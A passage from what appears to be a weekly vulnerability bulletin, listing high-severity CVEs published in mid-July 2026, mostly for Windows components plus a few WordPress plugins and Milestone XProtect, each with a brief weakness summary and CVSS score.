| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an unauthorized attacker to elevate privileges over a network. | 2026-07-14 | 8.1        | <a href="#">CVE-2026-50460</a> |
| Microsoft--Windows 10 Version 1809 | Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                    | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50670</a> |
| Microsoft--Windows 10 Version 1809 | Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to elevate privileges locally.                                                                           | 2026-07-14 | 8.2        | <a href="#">CVE-2026-50680</a> |
| Microsoft--Windows 10 Version 1809 | Insufficient granularity of access control in Windows StateRepository API allows an authorized attacker to elevate privileges locally.                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49170</a> |
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clipboard Server allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7          | <a href="#">CVE-2026-49183</a> |
| Microsoft--Windows 10 Version 1809 | Integer overflow or wraparound in Windows Web Proxy Auto-Discovery Protocol (WPAD) allows an authorized attacker to elevate privileges locally.                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49800</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.                                                                                        | 2026-07-14 | 7          | <a href="#">CVE-2026-50307</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50329</a> |
| Microsoft--Windows 10 Version 1809 | Improper access control in Windows Operating Systems allows an authorized attacker to elevate privileges locally.                                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50335</a> |
| Microsoft--Windows 10 Version 1809 | Improper privilege management in Microsoft Install Service allows an authorized attacker to elevate privileges locally.                                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50343</a> |
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an unauthorized attacker to elevate privileges over a network. | 2026-07-14 | 7          | <a href="#">CVE-2026-50348</a> |
| Microsoft--Windows 10 Version 1809 | Incorrect access of indexable resource ('range error') in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50367</a> |



# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1809 | Improper access control in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50373</a> |
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Key Guard allows an authorized attacker to elevate privileges locally.                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50378</a> |
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clip Service allows an authorized attacker to elevate privileges locally.                       | 2026-07-14 | 7          | <a href="#">CVE-2026-50384</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Runtime allows an authorized attacker to elevate privileges locally.                                                                                                         | 2026-07-14 | 7          | <a href="#">CVE-2026-50410</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Content Delivery Manager allows an authorized attacker to elevate privileges locally.                                                                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50427</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Runtime allows an authorized attacker to elevate privileges locally.                                                                                                         | 2026-07-14 | 7          | <a href="#">CVE-2026-50449</a> |
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Wireless Wide Area Network Service allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50450</a> |
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an unauthorized attacker to elevate privileges over a network.                   | 2026-07-14 | 7          | <a href="#">CVE-2026-50452</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Runtime allows an authorized attacker to elevate privileges locally.                                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50457</a> |
| Microsoft--Windows 10 Version 1809 | Out-of-bounds read in Windows Kernel allows an unauthorized attacker to disclose information over a network.                                                                                           | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50463</a> |
| Microsoft--Windows 10 Version 1809 | Improper link resolution before file access ('link following') in Windows Projected File System allows an authorized attacker to elevate privileges locally.                                           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50469</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50478</a> |
| Microsoft--Windows 10 Version 1809 | Untrusted pointer dereference in Windows USB Hub Driver allows an authorized attacker to elevate privileges locally.                                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50479</a> |
| Microsoft--Windows 10 Version 1809 | Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50484</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.                                                                                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50493</a> |
| Microsoft--Windows 10 Version 1809 | Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.                                                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50499</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.                                                                                                            | 2026-07-14 | 7          | <a href="#">CVE-2026-50672</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Clipboard Server allows an authorized attacker to elevate privileges locally.                                                                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50689</a> |
| Microsoft--Windows 10 Version 1809 | Heap-based buffer overflow in Windows Internet Key Exchange (IKE) Protocol allows an unauthorized attacker to deny service over a network.                                                             | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50696</a> |
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally.                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54112</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.                                                                                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54114</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an authorized attacker to elevate privileges locally.             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54125</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.                                                                                          | 2026-07-14 | 7          | <a href="#">CVE-2026-54129</a> |
| Microsoft--Windows 10 Version 1809 | Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code locally.                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54993</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows WebView allows an authorized attacker to elevate privileges locally.                                                                                          | 2026-07-14 | 7          | <a href="#">CVE-2026-56173</a> |
| Microsoft--Windows 10 Version 1809 | Improper access control in Extensible Storage Engine (ESENT) allows an authorized attacker to elevate privileges locally.                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-57088</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.                                                                                          | 2026-07-14 | 7          | <a href="#">CVE-2026-58526</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58536</a> |
| Microsoft--Windows 10 Version 1809 | Heap-based buffer overflow in Windows Bluetooth Service allows an authorized attacker to elevate privileges locally.                                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58538</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58613</a> |
| Microsoft--Windows 10 Version 1809 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Wireless Networking allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58628</a> |
| Microsoft--Windows 10 Version 1809 | Improper neutralization of special elements used in a command ('command injection') in Windows Narrator Braille allows an authorized attacker to elevate privileges locally.            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58635</a> |
| Microsoft--Windows 10 Version 21H2 | Incorrect implementation of authentication algorithm in Windows SMB Server allows an authorized attacker to elevate privileges over a network.                                          | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50360</a> |
| Microsoft--Windows 10 Version 21H2 | Use after free in Windows Remote Desktop Services allows an authorized attacker to execute code over a network.                                                                         | 2026-07-14 | 8.8        | <a href="#">CVE-2026-58626</a> |
| Microsoft--Windows 10 Version 21H2 | Heap-based buffer overflow in Windows DNS allows an authorized attacker to elevate privileges locally.                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49175</a> |
| Microsoft--Windows 10 Version 21H2 | Use after free in Windows Internal Task Bar allows an authorized attacker to elevate privileges locally.                                                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50293</a> |
| Microsoft--Windows 10 Version 21H2 | Use after free in Windows Unified Consent System allows an authorized attacker to elevate privileges locally.                                                                           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50326</a> |
| Microsoft--Windows 10 Version 21H2 | Improper link resolution before file access ('link following') in Windows Server Backup allows an authorized attacker to elevate privileges locally.                                    | 2026-07-14 | 7.3        | <a href="#">CVE-2026-50364</a> |
| Microsoft--Windows 10 Version 21H2 | Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50399</a> |
| Microsoft--Windows 10 Version 21H2 | Use after free in Windows Backup Engine allows an authorized attacker to elevate privileges locally.                                                                                    | 2026-07-14 | 7          | <a href="#">CVE-2026-50406</a> |
| Microsoft--Windows 10 Version 21H2 | Improper access control in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50423</a> |
| Microsoft--Windows 10 Version 21H2 | Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally.                                                                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50425</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 21H2 | Use after free in Windows Kernel allows an unauthorized attacker to elevate privileges locally.                                                                                        | 2026-07-14 | 7          | <a href="#">CVE-2026-50459</a> |
| Microsoft--Windows 10 Version 21H2 | Use after free in Windows Runtime allows an authorized attacker to elevate privileges locally.                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50486</a> |
| Microsoft--Windows 10 Version 21H2 | Out-of-bounds read in Windows Active Directory allows an authorized attacker to deny service over a network.                                                                           | 2026-07-14 | 7.1        | <a href="#">CVE-2026-50682</a> |
| Microsoft--Windows 10 Version 21H2 | Integer overflow or wraparound in Windows Terminal allows an unauthorized attacker to execute code locally.                                                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54124</a> |
| Microsoft--Windows 10 Version 21H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Backup Engine allows an authorized attacker to elevate privileges locally.      | 2026-07-16 | 7          | <a href="#">CVE-2026-58598</a> |
| Microsoft--Windows 11 version 23H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Push Notifications allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-44800</a> |
| Microsoft--Windows 11 version 23H2 | Use after free in Windows App Installer allows an authorized attacker to elevate privileges locally.                                                                                   | 2026-07-14 | 7          | <a href="#">CVE-2026-48571</a> |
| Microsoft--Windows 11 version 23H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows App Installer allows an authorized attacker to elevate privileges locally.      | 2026-07-14 | 7          | <a href="#">CVE-2026-48572</a> |
| Microsoft--Windows 11 Version 24H2 | Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.                                                                    | 2026-07-14 | 9.8        | <a href="#">CVE-2026-54990</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Runtime allows an authorized attacker to elevate privileges over a network.                                                                                  | 2026-07-14 | 8.5        | <a href="#">CVE-2026-50340</a> |
| Microsoft--Windows 11 Version 24H2 | Improper access control in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.                                                                    | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50342</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an authorized attacker to elevate privileges locally.            | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50385</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Media allows an authorized attacker to elevate privileges over a network.       | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50398</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Runtime allows an authorized attacker to elevate privileges locally.                                                                                         | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50413</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Microsoft Windows DNS allows an unauthorized attacker to elevate privileges over a network.                                                                          | 2026-07-14 | 8.1        | <a href="#">CVE-2026-50487</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                          | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50687</a> |
| Microsoft--Windows 11 Version 24H2 | Origin validation error in Windows Network Address Translation (NAT) allows an unauthorized attacker to perform spoofing over an adjacent network.                                     | 2026-07-14 | 8.3        | <a href="#">CVE-2026-56181</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Microsoft Brokering File System allows an authorized attacker to elevate privileges locally.                                                                         | 2026-07-14 | 7          | <a href="#">CVE-2026-49162</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Microsoft Printer Drivers allows an authorized attacker to elevate privileges locally.                                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49166</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.   | 2026-07-14 | 7          | <a href="#">CVE-2026-49802</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.   | 2026-07-14 | 7          | <a href="#">CVE-2026-49806</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to elevate privileges locally.            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49808</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Microsoft Brokering File System allows an authorized attacker to elevate privileges locally.                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50305</a> |
| Microsoft--Windows 11 Version 24H2 | Null pointer dereference in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.                                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50315</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Operating Systems allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50317</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an authorized attacker to elevate privileges locally.           | 2026-07-14 | 7          | <a href="#">CVE-2026-50322</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Runtime allows an authorized attacker to elevate privileges locally.                                                                                        | 2026-07-14 | 7          | <a href="#">CVE-2026-50323</a> |
| Microsoft--Windows 11 Version 24H2 | Heap-based buffer overflow in Windows Media allows an authorized attacker to execute code locally.                                                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50327</a> |
| Microsoft--Windows 11 Version 24H2 | Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.                                                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50336</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an authorized attacker to elevate privileges locally.           | 2026-07-14 | 7          | <a href="#">CVE-2026-50345</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows DirectX allows an authorized attacker to elevate privileges locally.                                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50353</a> |
| Microsoft--Windows 11 Version 24H2 | Double free in Microsoft Brokering File System allows an authorized attacker to elevate privileges locally.                                                                           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50361</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Media allows an authorized attacker to elevate privileges over a network.      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50379</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.                                                                             | 2026-07-14 | 7          | <a href="#">CVE-2026-50392</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.                                                                            | 2026-07-14 | 7          | <a href="#">CVE-2026-50393</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.                                                                            | 2026-07-14 | 7          | <a href="#">CVE-2026-50396</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an authorized attacker to elevate privileges locally.           | 2026-07-14 | 7          | <a href="#">CVE-2026-50403</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Media allows an authorized attacker to elevate privileges locally.             | 2026-07-14 | 7          | <a href="#">CVE-2026-50404</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Media allows an authorized attacker to elevate privileges over a network.      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50414</a> |
| Microsoft--Windows 11 Version 24H2 | Untrusted pointer dereference in Windows Domain Controller allows an unauthorized attacker to deny service over a network.                                                            | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50424</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50436</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Audio Service allows an authorized attacker to elevate privileges locally.     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50440</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 11 Version 24H2 | Relative path traversal in Windows User Interface Core allows an authorized attacker to elevate privileges locally.                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50454</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Microsoft Brokering File System allows an authorized attacker to elevate privileges locally.                                                                       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50458</a> |
| Microsoft--Windows 11 Version 24H2 | Improper access control in Microsoft Windows DNS allows an authorized attacker to perform tampering locally.                                                                         | 2026-07-14 | 7.1        | <a href="#">CVE-2026-50465</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Brokering File System allows an authorized attacker to elevate privileges locally.                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50466</a> |
| Microsoft--Windows 11 Version 24H2 | Improper neutralization of special elements used in a command ('command injection') in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50488</a> |
| Microsoft--Windows 11 Version 24H2 | Stack-based buffer overflow in Windows Resilient File System (ReFS) allows an unauthorized attacker to execute code locally.                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50501</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an authorized attacker to elevate privileges locally.          | 2026-07-14 | 7          | <a href="#">CVE-2026-50503</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.                                                                              | 2026-07-14 | 7          | <a href="#">CVE-2026-50674</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Media allows an authorized attacker to elevate privileges locally.            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50676</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Media allows an authorized attacker to elevate privileges locally.                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50677</a> |
| Microsoft--Windows 11 Version 24H2 | Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50679</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7          | <a href="#">CVE-2026-54111</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows Hyper-V allows an unauthorized attacker to elevate privileges locally.                                                                                     | 2026-07-14 | 7.4        | <a href="#">CVE-2026-54127</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54991</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7          | <a href="#">CVE-2026-54996</a> |
| Microsoft--Windows 11 Version 24H2 | Missing cryptographic step in Windows CryptoAPI allows an authorized attacker to perform tampering locally.                                                                          | 2026-07-14 | 7.1        | <a href="#">CVE-2026-55144</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.                                                                           | 2026-07-14 | 7          | <a href="#">CVE-2026-56183</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.                                                                           | 2026-07-14 | 7          | <a href="#">CVE-2026-56187</a> |
| Microsoft--Windows 11 Version 24H2 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an authorized attacker to elevate privileges locally.          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58527</a> |
| Microsoft--Windows 11 Version 24H2 | Use after free in Microsoft NAT Helper Components (ipnathlp.dll) allows an authorized attacker to elevate privileges locally.                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58537</a> |
| Microsoft--Windows 11 Version 24H2 | Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code locally.                                                                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58542</a> |



# High Vulnerabilities

| Primary Vendor -- Product                     | Description                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 11 Version 24H2            | Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                           | 2026-07-14 | 7          | <a href="#">CVE-2026-58544</a> |
| Microsoft--Windows 11 Version 24H2            | Use after free in Windows Kernel Mode Driver allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58602</a> |
| Microsoft--Windows 11 version 26H1            | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49173</a> |
| Microsoft--Windows 11 version 26H1            | Out-of-bounds read in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to disclose information locally.                                                                                                                                                                      | 2026-07-14 | 7.1        | <a href="#">CVE-2026-50428</a> |
| Microsoft--Windows 11 version 26H1            | Out-of-bounds read in Active Directory Federation Services (AD FS) allows an authorized attacker to disclose information over a network.                                                                                                                                                                             | 2026-07-14 | 7.1        | <a href="#">CVE-2026-58529</a> |
| Microsoft--Windows 11 version 26H1            | Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58633</a> |
| Microsoft--Windows 11 version 26H1            | Use after free in Desktop Window Manager allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58634</a> |
| Microsoft--Windows Admin Center               | Improper authentication in Windows Admin Center allows an authorized attacker to elevate privileges over a network.                                                                                                                                                                                                  | 2026-07-14 | 8.1        | <a href="#">CVE-2026-56169</a> |
| Microsoft--Windows Admin Center               | Relative path traversal in Windows Admin Center allows an authorized attacker to execute code over a network.                                                                                                                                                                                                        | 2026-07-14 | 8.8        | <a href="#">CVE-2026-56196</a> |
| Microsoft--Windows Admin Center               | Improper neutralization of special elements used in a command ('command injection') in Windows Admin Center allows an authorized attacker to execute code over a network.                                                                                                                                            | 2026-07-14 | 8.8        | <a href="#">CVE-2026-56197</a> |
| Microsoft--Windows Admin Center               | Improper authentication in Windows Admin Center allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-57107</a> |
| Microsoft--Windows Admin Center               | Improper authorization in Windows Admin Center allows an authorized attacker to execute code locally.                                                                                                                                                                                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58631</a> |
| Microsoft--Windows Remote Help                | Improper access control in Windows Remote Help Defense allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55014</a> |
| Microsoft--Windows Server 2025                | Use after free in DNS Server allows an authorized attacker to execute code over a network.                                                                                                                                                                                                                           | 2026-07-14 | 8          | <a href="#">CVE-2026-49169</a> |
| Microsoft--Windows Subsystem for Linux (WSL2) | Buffer over-read in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-57968</a> |
| Microsoft--Windows Terminal App               | Integer overflow or wraparound in Windows Terminal allows an unauthorized attacker to execute code over a network.                                                                                                                                                                                                   | 2026-07-16 | 7.5        | <a href="#">CVE-2026-59117</a> |
| Mikado-Themes--Dr                             | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes DÃ,r dor allows PHP Local File Inclusion.This issue affects DÃ,r: from n/a through <= 2.4.1.                                                                                  | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57792</a> |
| Milan Petrovic--GD Rating System              | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Milan Petrovic GD Rating System gd-rating-system allows Blind SQL Injection.This issue affects GD Rating System: from n/a through <= 3.7.                                                                      | 2026-07-13 | 8.5        | <a href="#">CVE-2026-57771</a> |
| Milan Petrovic--GD Security Headers           | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Milan Petrovic GD Security Headers gd-security-headers allows Reflected XSS.This issue affects GD Security Headers: from n/a through <= 1.8.                                                                   | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57403</a> |
| Milestone Systems--XProtect Management Server | Milestone has released a new version of XProtectÂ® (and several cumulative patch updates) which fix security vulnerability in Management Server API. The vulnerability causes users with edit permissions to the Management Server to be able to execute arbitrary code in context of the Management Server Service. | 2026-07-14 | 9.1        | <a href="#">CVE-2026-3014</a>  |

# High Vulnerabilities

| Primary Vendor -- Product                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
